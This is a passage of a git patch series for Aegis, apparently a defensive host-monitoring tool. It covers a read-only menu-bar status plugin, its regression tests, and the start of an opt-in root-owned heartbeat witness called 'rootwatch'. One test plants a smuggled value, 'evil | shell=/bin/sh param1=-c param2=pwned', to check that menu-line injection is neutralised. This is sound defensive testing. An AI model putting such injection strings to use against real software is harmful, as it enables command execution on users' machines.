--------------------------------------------------------------------------- # +# Readers — each bounded, each returns a benign default instead of raising. +# --------------------------------------------------------------------------- # + +def read_heartbeat(): + """heartbeat.json as written by aegis.py write_heartbeat(); {} on any + problem. The read is byte-capped so a corrupt/hostile giant file costs one + bounded read, never a slurp.""" + try: + with open(HEARTBEAT_FILE, "r", encoding="utf-8", errors="replace") as f: + beat = json.loads(f.read(MAX_JSON_BYTES)) + return beat if isinstance(beat, dict) else {} + except Exception: + return {} + + +def _sqlite_readonly(path): + """The aegis.py read-only open idiom: immutable+ro URI, so reading a live + WAL db never locks it, never creates journal files, and structurally + cannot write. Returns a connection or None.""" + if not os.path.exists(path): + return None + try: + uri = "file:%s?immutable=1&mode=ro" % ( + path.replace("%", "%25").replace("?", "%3f").replace("#", "%23")) + return sqlite3.connect(uri, uri=True, timeout=2) + except Exception: + return None + + +def _query(db, sql, args=()): + """One bounded SELECT; [] instead of an exception (missing table, corrupt + page, schema drift — every one degrades a line, never the plugin).""" + try: + return db.execute(sql, args).fetchall() + except Exception: + return [] + + +def read_store(): + """The three tiny reads from aegis.db: open incidents (count + worst-first + top slice), degraded sensors, and the last-scan epoch. Every field is None/ + empty when unavailable.""" + out = {"open_count": None, "incidents": [], "degraded": [], + "last_scan": None} + db = _sqlite_readonly(DB_FILE) + if db is None: + return out + try: + marks = ",".join("?" for _ in ACTIVE_STATES) + rows = _query(db, "SELECT count(*) FROM incidents WHERE status IN (%s)" + % marks, ACTIVE_STATES) + if rows: + out["open_count"] = int(rows[0][0]) + out["incidents"] = [ + {"id": r[0], "severity": str(r[1]), "title": str(r[2]), + "status": str(r[3])} + for r in _query( + db, "SELECT id,severity,title,status FROM incidents " + "WHERE status IN (%s) ORDER BY CASE severity " + "WHEN 'CRITICAL' THEN 4 WHEN 'HIGH' THEN 3 " + "WHEN 'MEDIUM' THEN 2 WHEN 'LOW' THEN 1 ELSE 0 END DESC," + "updated_at DESC LIMIT %d" % (marks, MAX_INCIDENTS), + ACTIVE_STATES)] + out["degraded"] = [ + {"sensor_id": str(r[0]), "status": str(r[1])} + for r in _query( + db, "SELECT sensor_id,status FROM sensor_status " + "WHERE status != 'OK' ORDER BY sensor_id LIMIT 10")] + rows = _query(db, "SELECT value FROM meta WHERE key='last_scan'") + if rows: + try: + out["last_scan"] = int(float(rows[0][0])) + except Exception: + pass + finally: + try: + db.close() + except Exception: + pass + return out + + +# --------------------------------------------------------------------------- # +# Rendering +# --------------------------------------------------------------------------- # + +def _clean(text, cap=80): + """Menu-safe text: '|' would let db-sourced text (an attacker-influenced + incident title) inject xbar params into its own line, and newlines would + forge extra lines. Both are stripped, and the length is capped.""" + text = str(text).replace("|", "/").replace("\n", " ").replace("\r", " ") + return text[:cap] + + +def _rel(age_secs): + if age_secs < 0: + age_secs = 0 + if age_secs < 90: + return "just now" + if age_secs < 5400: + return "%d min ago" % (age_secs // 60) + if age_secs < 172800: + return "%d h ago" % (age_secs // 3600) + return "%d d ago" % (age_secs // 86400) + + +def _worst_severity(incidents): + worst = "INFO" + for inc in incidents: + if SEV_RANK.get(inc["severity"], 0) > SEV_RANK.get(worst, 0): + worst = inc["severity"] + return worst + + +def render(): + lines = [] + installed = any(os.path.exists(p) for p in + (HEARTBEAT_FILE, DB_FILE, BASELINE, LATEST_MD)) + if not installed: + # Calm by design: an absent ~/.aegis is a machine without Aegis, not an + # emergency. (A wiped state dir on a machine that HAD Aegis is the + # watchdog's job — the plugin cannot see outside the state dir.) + lines.append("⚪ Aegis: not installed") + lines.append("---") + lines.append("No Aegis state at %s" % _clean(STATE_DIR)) + lines.append("Install: python3 aegis.py install | font=Menlo") + return lines + + now = int(time.time()) + beat = read_heartbeat() + try: + last_beat = int(beat.get("epoch") or 0) + except Exception: + last_beat = 0 + beat_age = (now - last_beat) if last_beat else None + # cmd_watchdog doctrine: installed-with-no-beat is DEAD, never fresh. + dead = beat_age is None or beat_age > HEARTBEAT_STALE_SECS + + store = read_store() + open_count = store["open_count"] + worst = _worst_severity(store["incidents"]) + + # ---- title: the one-glance verdict, most important state first ---------- + if dead: + lines.append("💀 Aegis") + elif open_count: + lines.append("⚠️ %d" % open_count) + else: + lines.append("🛡️") + lines.append("---") + + # ---- status lines -------------------------------------------------------- + if dead: + detail = ("no heartbeat on record" if beat_age is None else + "last beat %s (tolerance %d min)" + % (_rel(beat_age), HEARTBEAT_STALE_SECS // 60)) + lines.append("Monitor NOT beating — %s | color=red" % detail) + lines.append("Check: launchctl list / aegis.py watchdog | font=Menlo") + if store["last_scan"]: + lines.append("Last scan: %s" % _rel(now - store["last_scan"])) + else: + lines.append("Last scan: unavailable | color=gray") + + # ---- incidents ------------------------------------------------------------ + if open_count: + lines.append("---") + lines.append("Open incidents (%d): | color=%s" + % (open_count, SEV_COLOR.get(worst, "red"))) + for inc in store["incidents"]: + lines.append("#%s %s — %s | color=%s" % ( + inc["id"], _clean(inc["severity"], 8), _clean(inc["title"]), + SEV_COLOR.get(inc["severity"], "gray"))) + if open_count > len(store["incidents"]): + lines.append("… %d more | color=gray" + % (open_count - len(store["incidents"]))) + elif open_count is None: + lines.append("Incidents: unavailable (db unreadable) | color=gray") + + # ---- degraded sensors ----------------------------------------------------- + if store["degraded"]: + lines.append("---") + lines.append("Degraded sensors: | color=gray") + for h in store["degraded"]: + lines.append("%s: %s | color=gray" + % (_clean(h["sensor_id"], 40), _clean(h["status"], 12))) + + # ---- heartbeat age --------------------------------------------------------- + lines.append("---") + if beat_age is not None: + lines.append("Heartbeat: %s (pid %s)" + % (_rel(beat_age), _clean(beat.get("pid", "?"), 12))) + else: + lines.append("Heartbeat: none on record | color=red") + + # ---- actions ---------------------------------------------------------------- + lines.append("---") + if os.path.exists(LATEST_MD): + lines.append('Open latest report | shell="/usr/bin/open" param1="%s"' + % LATEST_MD) + if os.path.exists(RUNTIME): + py = sys.executable or "/usr/bin/python3" + lines.append('Incidents in Terminal | shell="%s" param1="%s" ' + 'param2=incidents terminal=true' % (py, RUNTIME)) + lines.append('Scan now | shell="%s" param1="%s" param2=scan ' + 'terminal=true refresh=true' % (py, RUNTIME)) + else: + lines.append("Runtime copy not found (run install) | color=gray") + lines.append("Refresh | refresh=true") + return lines + + +def main(): + # A Windows/pipe stdout may be cp1252, where the icons raise and kill the + # render — pin utf-8 exactly as aegis.py does for its own report. + try: + sys.stdout.reconfigure(encoding="utf-8", errors="replace") + except Exception: + pass + try: + print("\n".join(render())) + except Exception as e: + # Last-ditch: a broken plugin must still render SOMETHING. + print("❓ Aegis") + print("---") + print("plugin error: %s" % _clean(e, 120)) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_menubar.py b/tests/test_menubar.py new file mode 100644 index 0000000..c6257ef --- /dev/null +++ b/tests/test_menubar.py @@ -0,0 +1,382 @@ +#!/usr/bin/env python3 +"""Regression suite for the xbar/SwiftBar menu-bar plugin (menubar/aegis-status.30s.py). + +The plugin is a STANDALONE, stdlib-only, strictly READ-ONLY viewer of Aegis +state, so this suite exercises it the way xbar does: as a subprocess, against a +sandboxed fake state dir selected via AEGIS_STATE_DIR. It never imports the +plugin (the plugin never imports aegis either) and never touches real ~/.aegis. + +Every single invocation is wrapped in a full before/after inventory of the +sandbox (every path + size + mtime_ns), because the plugin's core doctrine is +that it is structurally incapable of writing Aegis state: a crashed assertion +here means the plugin created, deleted, or modified a file — a doctrine breach, +not a cosmetic bug. + +Run: python3 -m unittest discover -s tests (from the repo root) + or: python3 tests/test_menubar.py +""" +import json +import os +import shutil +import sqlite3 +import subprocess +import sys +import tempfile +import time +import unittest + +_REPO = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +PLUGIN = os.path.join(_REPO, "menubar", "aegis-status.30s.py") + +# Mirrors the incidents/meta/sensor_status tables of _EVENT_SCHEMA_SQL in +# aegis.py (the plugin reads only these three). Kept as a literal copy rather +# than imported, because the plugin's whole point is reading a db it did not +# create with code that imports nothing from aegis. +_SCHEMA = """ +CREATE TABLE meta (key TEXT PRIMARY KEY, value TEXT NOT NULL); +CREATE TABLE incidents ( + id INTEGER PRIMARY KEY, + kind TEXT NOT NULL, + correlation_key TEXT NOT NULL, + title TEXT NOT NULL, + severity TEXT NOT NULL, + status TEXT NOT NULL, + created_at INTEGER NOT NULL, + first_seen INTEGER NOT NULL, + last_seen INTEGER NOT NULL, + updated_at INTEGER NOT NULL, + reminder_count INTEGER NOT NULL DEFAULT 0, + next_reminder_at INTEGER, + last_notified_at INTEGER, + resolution TEXT +); +CREATE TABLE sensor_status ( + sensor_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + last_run_at INTEGER NOT NULL, + last_ok_at INTEGER, + duration_ms INTEGER NOT NULL DEFAULT 0, + item_count INTEGER NOT NULL DEFAULT 0, + detail TEXT NOT NULL DEFAULT '', + consecutive_failures INTEGER NOT NULL DEFAULT 0, + episode_started_at INTEGER +); +""" + + +def _inventory(root): + """Full sandbox inventory: every dir + every file with size and mtime_ns. + atime is deliberately excluded (reading legitimately advances it); any + change in the path set, a size, or an mtime is a WRITE.""" + if not os.path.isdir(root): + return ("ABSENT", root) + entries = [] + for dirpath, dirnames, filenames in os.walk(root): + for name in dirnames: + entries.append(("dir", os.path.relpath(os.path.join(dirpath, name), root))) + for name in filenames: + p = os.path.join(dirpath, name) + st = os.stat(p) + entries.append(("file", os.path.relpath(p, root), + st.st_size, st.st_mtime_ns)) + return sorted(entries) + + +class MenubarBase(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis-menubar-test-") + self.addCleanup(shutil.rmtree, self.tmp, True) + self.state = os.path.join(self.tmp, "state") + self.home = os.path.join(self.tmp, "home") + os.makedirs(self.home) + + # -- fixture builders ---------------------------------------------------- + def make_state(self): + os.makedirs(self.state, exist_ok=True) + return self.state + + def write_heartbeat(self, age_secs=0, **extra): + self.make_state() + beat = {"ts": "test", "epoch": int(time.time()) - age_secs, + "pid": 4242, "status": "ok", "alerts": 0, "top_alert": ""} + beat.update(extra) + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + json.dump(beat, f) + + def write_db(self, incidents=(), sensors=(), last_scan=None): + """incidents: (title, severity, status) tuples; sensors: + (sensor_id, status) tuples.""" + self.make_state() + db = sqlite3.connect(os.path.join(self.state, "aegis.db")) + db.executescript(_SCHEMA) + now = int(time.time()) + for title, severity, status in incidents: + db.execute( + "INSERT INTO incidents(kind,correlation_key,title,severity," + "status,created_at,first_seen,last_seen,updated_at) " + "VALUES('signal',?,?,?,?,?,?,?,?)", + ("key:" + title, title, severity, status, now, now, now, now)) + for sensor_id, status in sensors: + db.execute( + "INSERT INTO sensor_status(sensor_id,status,last_run_at) " + "VALUES(?,?,?)", (sensor_id, status, now)) + if last_scan is not None: + db.execute("INSERT INTO meta(key,value) VALUES('last_scan',?)", + (str(int(last_scan)),)) + db.commit() + db.close() + + def write_latest_md(self, body="# Aegis report - test\n\n_No findings._\n"): + self.make_state() + with open(os.path.join(self.state, "latest.md"), "w", + encoding="utf-8") as f: + f.write(body) + + def write_runtime(self): + """The install.sh runtime copy the dropdown actions point at.""" + self.make_state() + with open(os.path.join(self.state, "aegis.py"), "w", + encoding="utf-8") as f: + f.write("# fake runtime copy for the action lines\n") + + def healthy_state(self): + self.write_heartbeat(age_secs=60) + self.write_db(last_scan=time.time() - 120) + self.write_latest_md() + self.write_runtime() + + # -- the one way this suite ever runs the plugin -------------------------- + def run_plugin(self, state_dir=None): + """Run the plugin exactly as xbar would, with the READ-ONLY PROOF + wrapped around every invocation: the full sandbox inventory must be + byte-identical before and after, and the exit code must be 0 (a + non-zero xbar plugin renders NOTHING in the menu bar).""" + state_dir = state_dir or self.state + env = dict(os.environ) + env["AEGIS_STATE_DIR"] = state_dir + env["HOME"] = self.home # belt: even a ~ fallback stays sandboxed + env["PYTHONIOENCODING"] = "utf-8" + before = _inventory(state_dir) + proc = subprocess.run( + [sys.executable, PLUGIN], env=env, capture_output=True, + encoding="utf-8", errors="replace", timeout=30) + after = _inventory(state_dir) + self.assertEqual(before, after, + "plugin WROTE to the state dir — read-only doctrine " + "breached") + self.assertEqual(proc.returncode, 0, + "plugin exited non-zero (renders nothing in the menu " + "bar)\nstderr:\n%s" % proc.stderr) + return proc.stdout + + def title(self, out): + lines = [l for l in out.splitlines() if l.strip()] + self.assertTrue(lines, "plugin rendered no output at all") + return lines[0] + + +class TestPluginFile(MenubarBase): + def test_exists_is_executable_and_stdlib_shebang(self): + self.assertTrue(os.path.isfile(PLUGIN), "plugin file missing") + with open(PLUGIN, "r", encoding="utf-8") as f: + first = f.readline().strip() + self.assertEqual(first, "#!/usr/bin/env python3") + if os.name == "posix": + self.assertTrue(os.access(PLUGIN, os.X_OK), + "plugin must be chmod +x for xbar/SwiftBar") + + def test_plugin_never_imports_aegis_or_networking(self): + import ast + with open(PLUGIN, "r", encoding="utf-8") as f: + tree = ast.parse(f.read()) + imported = set() + for node in ast.walk(tree): + if isinstance(node, ast.Import): + imported.update(a.name.split(".")[0] for a in node.names) + elif isinstance(node, ast.ImportFrom): + imported.add((node.module or "").split(".")[0]) + for banned in ("aegis", "urllib", "socket", "http", "requests"): + self.assertNotIn(banned, imported, + "plugin must stay standalone and offline: %r" + % banned) + + +class TestHealthy(MenubarBase): + def test_healthy_state_is_shield_with_report_action(self): + self.healthy_state() + out = self.run_plugin() + self.assertIn("\U0001F6E1", self.title(out)) # 🛡️ + self.assertNotIn("⚠", self.title(out)) # no ⚠ when clean + self.assertIn("Open latest report", out) + self.assertIn("latest.md", out) + self.assertIn("Last scan", out) + self.assertIn("Heartbeat", out) + self.assertNotIn("not installed", out) + + def test_runtime_actions_use_xbar_shell_params(self): + self.healthy_state() + out = self.run_plugin() + self.assertIn("Incidents in Terminal", out) + self.assertIn("Scan now", out) + self.assertIn("shell=", out) + self.assertIn("terminal=true", out) + self.assertIn("param1=", out) + + +class TestIncidents(MenubarBase): + def test_open_high_incident_warns_with_count_and_title(self): + self.write_heartbeat(age_secs=60) + self.write_db( + incidents=[("Credential capture with persistence", "HIGH", "OPEN")], + last_scan=time.time() - 60) + out = self.run_plugin() + self.assertIn("⚠", self.title(out)) # ⚠ + self.assertIn("1", self.title(out)) + self.assertIn("Credential capture with persistence", out) + self.assertIn("color=orange", out) # worst severity colors the dropdown + + def test_incidents_count_all_but_list_caps_at_five_most_severe_first(self): + rows = [("noise incident %d" % i, "MEDIUM", "ACK") for i in range(6)] + rows.append(("the critical one", "CRITICAL", "OPEN")) + self.write_heartbeat(age_secs=60) + self.write_db(incidents=rows, last_scan=time.time()) + out = self.run_plugin() + self.assertIn("7", self.title(out)) # full count in title + listed = [l for l in out.splitlines() if "incident" in l.lower() + and "#" in l] + self.assertLessEqual(len(listed), 5) + self.assertIn("the critical one", out) + self.assertLess(out.index("the critical one"), + out.index("noise incident"), + "most severe must sort first") + + def test_resolved_incidents_do_not_count(self): + self.write_heartbeat(age_secs=60) + self.write_db(incidents=[("old news", "HIGH", "RESOLVED"), + ("was wrong", "HIGH", "FALSE_POSITIVE")], + last_scan=time.time()) + out = self.run_plugin() + self.assertIn("\U0001F6E1", self.title(out)) + self.assertNotIn("old news", out) + + def test_hostile_incident_title_cannot_forge_menu_params(self): + # A '|' in a title would let attacker-controlled db text inject xbar + # params (e.g. shell=) into its own dropdown line. The invariant: no + # attacker text may land in a PARAM segment (anything after a '|') — + # once its '|' is neutralized it is inert display text. + self.write_heartbeat(age_secs=60) + self.write_db(incidents=[ + ("evil | shell=/bin/sh param1=-c param2=pwned", "HIGH", "OPEN")], + last_scan=time.time()) + out = self.run_plugin() + for line in out.splitlines(): + if "evil" in line: + for params in line.split("|")[1:]: + self.assertNotIn("shell=", params) + self.assertNotIn("param2=pwned", params) + + +class TestDeadMonitor(MenubarBase): + def test_stale_heartbeat_is_skull(self): + self.write_heartbeat(age_secs=4 * 3600) # past the 3h tolerance + self.write_db(last_scan=time.time() - 4 * 3600) + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out)) # 💀 + self.assertIn("not beating", out.lower()) + + def test_missing_heartbeat_on_installed_state_is_skull(self): + # Same doctrine as cmd_watchdog: armed with no beat is DEAD, not fresh. + self.write_db(last_scan=time.time()) + self.write_latest_md() + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out)) + + def test_dead_monitor_outranks_open_incidents(self): + self.write_heartbeat(age_secs=4 * 3600) + self.write_db(incidents=[("still open", "CRITICAL", "OPEN")], + last_scan=time.time() - 4 * 3600) + out = self.run_plugin() + self.assertIn("\U0001F480", self.title(out), + "a dead monitor is the most important state") + self.assertIn("still open", out) # incidents still shown below + + def test_fresh_heartbeat_is_not_skull(self): + self.write_heartbeat(age_secs=30) + self.write_db(last_scan=time.time()) + out = self.run_plugin() + self.assertNotIn("\U0001F480", self.title(out)) + + +class TestNotInstalled(MenubarBase): + def test_absent_dir_is_calm_not_installed(self): + missing = os.path.join(self.tmp, "never-created") + out = self.run_plugin(state_dir=missing) + self.assertIn("not installed", out) + self.assertNotIn("\U0001F480", out) + self.assertNotIn("⚠", out) + + def test_empty_dir_is_calm_not_installed(self): + self.make_state() # exists but holds no aegis state at all + out = self.run_plugin() + self.assertIn("not installed", out) + self.assertNotIn("\U0001F480", out) + + +class TestResilience(MenubarBase): + def test_corrupt_db_and_heartbeat_still_render_a_title(self): + self.make_state() + with open(os.path.join(self.state, "aegis.db"), "wb") as f: + f.write(b"this is not a sqlite database " * 64) + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + f.write("{corrupt json!!") + out = self.run_plugin() + self.assertTrue(self.title(out)) + self.assertIn("---", out) # still a well-formed xbar menu + + def test_valid_db_missing_tables_degrades_not_crashes(self): + self.make_state() + db = sqlite3.connect(os.path.join(self.state, "aegis.db")) + db.execute("CREATE TABLE unrelated (x)") + db.commit() + db.close() + self.write_heartbeat(age_secs=60) + out = self.run_plugin() + self.assertTrue(self.title(out)) + + def test_oversized_heartbeat_is_bounded_not_slurped(self): + self.make_state() + with open(os.path.join(self.state, "heartbeat.json"), "w", + encoding="utf-8") as f: + f.write(" " * (1 << 22) + "{}") # 4 MB of padding + self.write_db(last_scan=time.time()) + out = self.run_plugin() + self.assertTrue(self.title(out)) + + +class TestReadOnlyProof(MenubarBase): + def test_full_state_inventory_identical_across_repeated_runs(self): + # run_plugin() already asserts before==after on EVERY invocation in + # this file; this test makes the doctrine explicit against the richest + # state (db + WAL-less db, heartbeat, report, runtime, quarantine dir) + # and repeated invocations. + self.healthy_state() + os.makedirs(os.path.join(self.state, "quarantine")) + with open(os.path.join(self.state, "quarantine", "manifest.json"), "w", + encoding="utf-8") as f: + f.write("{}") + baseline = _inventory(self.state) + for _ in range(3): + self.run_plugin() + self.assertEqual(baseline, _inventory(self.state)) + + def test_absent_dir_is_never_created(self): + missing = os.path.join(self.tmp, "never-created") + self.run_plugin(state_dir=missing) + self.assertFalse(os.path.exists(missing), + "plugin must never create the state dir") + + +if __name__ == "__main__": + unittest.main() From 944c6452573f04b16038d4a1d85e735157510135 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:25:56 -0700 Subject: [PATCH 04/11] =?UTF-8?q?feat(aegis):=20rootwatch=20=E2=80=94=20op?= =?UTF-8?q?t-in=20ROOT=20witness=20that=20closes=20the=20kill=20gap?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A same-uid attacker can kill Aegis AND the user-level watchdog agent in one sweep; the notary only makes that evident later. `aegis.py rootwatch install|status|uninstall` adds the one privileged component in the tool, held to the bastion doctrine — opt-in, single-purpose, tiny: - The privileged part is a SEPARATE generated script (59 lines, stdlib json/os/subprocess/sys/time only — the smallness is the security argument, stated in its header), installed root-owned 0755 at /usr/local/libexec/aegis-rootwatch.py with the installing user's heartbeat path, uid, and the watchdog's HEARTBEAT_STALE_SECS tolerance baked in at generation time. It reads the beat; fresh => exit 0 silent; stale/missing => append a root-owned alert line (/Library/Application Support/Aegis/rootwatch.log, /var/log/aegis on Linux), notify the user's session (launchctl asuser + osascript / notify-send + wall), and syslog via logger. It NEVER writes into the user's ~/.aegis (root-owned files there would break Aegis's atomic-replace state writes). - Schedule: root LaunchDaemon com.aegis.rootwatch (StartInterval 600) on macOS; a SYSTEM systemd service+timer (OnUnitActiveSec=600s, Persistent) on Linux. The daemon runs the hardcoded /usr/bin/python3, never a user venv — a root job on a user-writable interpreter would BE the escalation. - Aegis never self-elevates: `rootwatch install` without root performs ZERO mutation and prints exactly one pasteable sudo line. With root it writes script + plist/units atomically (tmp + fsync + replace + chown 0:0), bootstraps, and appends to the invoking user's actions.jsonl only if that file already exists (never creating a root-owned file in user state). `status` reports installed/registered/last-fired without root; `uninstall` boots out and removes but keeps the alert log as evidence. - doctor gains one INFO line (never a problem — it is opt-in): absent => "the kill gap is open: run `aegis.py rootwatch install`". - Windows: not built; documented honestly (a SYSTEM task is future work). Tests-first (tests/test_rootwatch.py, 16 tests, all failing on unmodified HEAD): the generated plist passes plutil -lint in a sandbox with '&' in the path; Linux unit shape asserted; the GENERATED script is executed for real against a fake heartbeat dir with PATH-stubbed launchctl/osascript/ notify-send/wall (fresh silent, stale alerts both platform shapes, wiped state reads as dead, and the never-write-into-~/.aegis guarantee proven by before/after inventory); non-root install proven to mutate nothing and print exactly one sudo line; the <=60-line audit budget and stdlib-only import set pinned. Full suite: 687 tests OK (3 normal skips). Co-Authored-By: Claude Fable 5 --- README.md | 31 +++ aegis.py | 415 ++++++++++++++++++++++++++++++++++++++++ tests/test_rootwatch.py | 388 +++++++++++++++++++++++++++++++++++++ 3 files changed, 834 insertions(+) create mode 100644 tests/test_rootwatch.py diff --git a/README.md b/README.md index 164c66d..4fec846 100644 --- a/README.md +++ b/README.md @@ -214,6 +214,13 @@ python3 aegis.py watchdog # dead-man's switch: exit non-zero + alert if the python3 aegis.py bastion # macOS only, OPT-IN, needs sudo: surface Apple's # XProtect Behavioral (Bastion) violations it # records but never alerts on +python3 aegis.py rootwatch install + # OPT-IN root witness (macOS/Linux): a <60-line + # root-owned script on a ROOT schedule that + # alerts within minutes when the heartbeat dies. + # Never self-elevates: run without sudo it + # changes NOTHING and prints the sudo line + # for you. `status` reports without root # RESPONSE TIER — opt-in, run by hand on a reviewed finding (never automatic): python3 aegis.py quarantine PATH # atomically confine a file or valid .app bundle @@ -321,6 +328,28 @@ chain. What they cannot do is make a *past* anchor say something else. The regression suite tests exactly that adversary: a forged chain with every head and MAC recomputed defeats all local checks and is still caught by the anchors. +### Root witness — `rootwatch` (opt-in; the one privileged resident) + +The watchdog runs at the same uid as the monitor, so the attacker who kills +Aegis kills the watchdog agent in the same sweep — the notary then makes the +kill *evident later*, which is honest but slow. `rootwatch` is the opt-in +answer: a root-owned script of **under 60 lines** (small enough to audit in +one glance before installing it — that smallness is the security argument, not +a style choice) on a **root** schedule (`/Library/LaunchDaemons` LaunchDaemon +on macOS, a system — not `--user` — systemd timer on Linux) that re-reads the +heartbeat every 10 minutes with the watchdog's own staleness tolerance baked +in. A dead beat appends a root-owned alert line (`/Library/Application +Support/Aegis/rootwatch.log` / `/var/log/aegis/rootwatch.log`), notifies your +session, and writes syslog; a healthy beat exits silently. What root buys is +exactly one thing: **a witness the same-uid attacker cannot unload, which +alerts within minutes instead of leaving evidence for later.** What it does +not buy: it prevents nothing, reads nothing but the one heartbeat file, and +never writes into `~/.aegis` (a root-owned file there would break Aegis's own +atomic-replace state writes). Aegis never self-elevates to install it — +`rootwatch install` run unprivileged mutates nothing and prints the one sudo +line for you to run yourself. Windows has no rootwatch yet: a SYSTEM +scheduled task is future work, and the gap is stated rather than implied. + ### Agent surface, session theft, and pre-authorization (added this release) | Command / sensor | What it does | Notes | @@ -413,6 +442,8 @@ against a real machine rather than a fixture:** - **A source-aware attacker can kill Aegis instead of evading it.** No unprivileged tool can prevent that. The notary is the answer: it cannot stop the kill, but it makes the kill leave a sequence gap that cannot be backfilled. + The opt-in `rootwatch` tier shortens "later" to minutes — a root-scheduled + witness the same-uid attacker cannot kill along with the monitor. - **`curl … | sh` is never silently rewritten.** It is the documented install path for rustup and much else, so the clipboard grammar reports it and stops there. Only patterns with no legitimate use (fake password dialogs, diff --git a/aegis.py b/aegis.py index d9bb21a..b53120c 100755 --- a/aegis.py +++ b/aegis.py @@ -282,6 +282,29 @@ # the opt-in `sudo aegis bastion` tier surfaces it. Path per macOS 15/26. XPDB_PATH = "/var/protected/xprotect/db/XPdb" +# Opt-in ROOT witness (rootwatch) — closes the kill gap the honest-limits +# section states: a same-uid attacker can kill Aegis AND the user-level +# watchdog agent in one sweep, and the notary only makes that evident LATER. +# rootwatch is a tiny root-owned script on a ROOT schedule (LaunchDaemon / +# systemd system timer) that re-checks the heartbeat every 10 minutes and, +# when it is stale, alerts somewhere the same-uid attacker cannot silence. +# Same doctrine as `bastion`: Aegis itself NEVER requests root — `rootwatch +# install` run unprivileged performs zero mutation and prints the one sudo +# line for YOU to run. Windows has no rootwatch yet (a SYSTEM scheduled task +# is future work); the user-level watchdog still runs there. +ROOTWATCH_SCRIPT = "/usr/local/libexec/aegis-rootwatch.py" +ROOTWATCH_PLIST = "/Library/LaunchDaemons/com.aegis.rootwatch.plist" +ROOTWATCH_LABEL = "com.aegis.rootwatch" +ROOTWATCH_UNIT_DIR = "/etc/systemd/system" +ROOTWATCH_LOG = ("/Library/Application Support/Aegis/rootwatch.log" if IS_MAC + else "/var/log/aegis/rootwatch.log") +ROOTWATCH_INTERVAL = 600 # the root schedule re-checks the beat every 10 min +# A root daemon must never execute a user-writable interpreter or script — +# that would BE the privilege escalation Aegis exists to catch — so the +# system python is hardcoded rather than inheriting sys.executable (which is +# often a venv under $HOME on this machine). +ROOTWATCH_PY = "/usr/bin/python3" + # AI-agent skill directories — a live 2026 AMOS distribution channel (malicious # OpenClaw/Claude "skills" that manipulate the agent into a fake password dialog, # Trend Micro 2026). Same shape as the IDE-extension surface: a new skill dir or a @@ -9909,6 +9932,16 @@ def cmd_doctor(): item["consecutive_failures"], item["detail"] or "")) if item["status"] != "OK": problems.append(item["sensor_id"]) + # INFO, never a problem: rootwatch is opt-in, but its absence is worth one + # honest line — without it a same-uid attacker can kill Aegis and the + # user-level watchdog together, alert-free until the notary is read. + if not IS_WIN: + print(" %s %-27s %s" % ( + ("✓", "rootwatch (root witness)", "installed (opt-in)") + if _rootwatch_installed() else + ("i", "rootwatch (root witness)", + "absent — OPT-IN; the kill gap is open: run " + "`aegis.py rootwatch install`"))) incidents = list_incidents() print("\n %s active incident%s" % (len(incidents), "" if len(incidents) == 1 else "s")) @@ -13927,6 +13960,379 @@ def cmd_bastion(): return 0 +# --------------------------------------------------------------------------- # +# Opt-in ROOT witness: rootwatch. +# +# `watchdog` is a dead-man's switch, but it runs at the SAME uid as the +# monitor: the attacker who kills Aegis kills the watchdog agent in the same +# sweep, and the notary only makes the kill evident at the next human look. +# The one thing that closes that gap is a witness the attacker cannot reach +# without root — so this tier, alone in Aegis, installs a privileged +# component. It is held to the `bastion` doctrine: OPT-IN (Aegis never +# self-elevates; unprivileged `rootwatch install` mutates nothing and prints +# the sudo line for the human to run), SINGLE-PURPOSE (read one heartbeat +# file, alert on staleness, nothing else), and TINY (the generated script is +# under 60 lines, imports five stdlib modules, and is meant to be read in one +# glance before you install it — the smallness IS the security argument). +# +# The generated script deliberately NEVER writes into the user's ~/.aegis: +# root-owned files appearing in user state would break Aegis's own +# atomic-replace assumptions (os.replace onto a root-owned target fails for +# the user, killing every subsequent scan's state writes). +# --------------------------------------------------------------------------- # + +# str.format (not %) on purpose: the generated code is full of runtime +# %-formatting, and the only generation-time substitutions are the five +# {name} fields. The script uses a one-line import to protect its own audit +# budget — the ≤60-line bound is pinned by the test suite. +_ROOTWATCH_TEMPLATE = '''\ +#!/usr/bin/env python3 +# aegis-rootwatch -- generated by `aegis.py rootwatch install`. Do not edit; +# re-run install to regenerate. +# +# This is the ONLY thing Aegis ever runs as root, and it is deliberately +# small enough to audit in one glance -- the smallness IS the security +# argument. One job: read ONE user file (the monitor's heartbeat) and, if +# the beat is stale, say so in places a same-uid attacker cannot silence +# (a root-owned log, syslog, the user's screen). It takes no input beyond +# the constants baked in below, imports nothing outside the five stdlib +# modules here, and NEVER writes into the user's home -- a root-owned file +# in ~/.aegis would break Aegis's own atomic-replace assumptions. +import json, os, subprocess, sys, time + +HEARTBEAT = {hb!r} # the watched user's beat file (READ-only here) +UID = {uid} # whose session to notify +TOLERANCE = {tol} # seconds; mirrors aegis.py HEARTBEAT_STALE_SECS +LOG = {log!r} # root-owned durable alert trail (kept on uninstall) +MAC = {mac!r} + + +def main(): + try: + with open(HEARTBEAT, "r", encoding="utf-8") as f: + last = int(json.load(f).get("epoch") or 0) + except Exception: + last = 0 # missing/unreadable/wiped state reads as DEAD, never healthy + age = int(time.time()) - last if last else None + if age is not None and age <= TOLERANCE: + return 0 # healthy: silent by design + human = ("no heartbeat could be read" if age is None else + "last beat %d min ago (> %d min tolerance)" + % (age // 60, TOLERANCE // 60)) + msg = ("Aegis rootwatch: the monitor is NOT beating -- %s. It may have " + "been killed or unloaded; run `aegis.py watchdog` as the user." + % human) + try: + os.makedirs(os.path.dirname(LOG), mode=0o755, exist_ok=True) + with open(LOG, "a", encoding="utf-8") as f: + f.write("%s %s\\n" % (time.strftime("%Y-%m-%dT%H:%M:%S%z"), msg)) + except Exception: + pass + note = 'display notification "%s" with title "Aegis rootwatch"' % human + cmds = ([["launchctl", "asuser", str(UID), "osascript", "-e", note]] + if MAC else + [["notify-send", "-u", "critical", "Aegis rootwatch", msg], + ["wall", 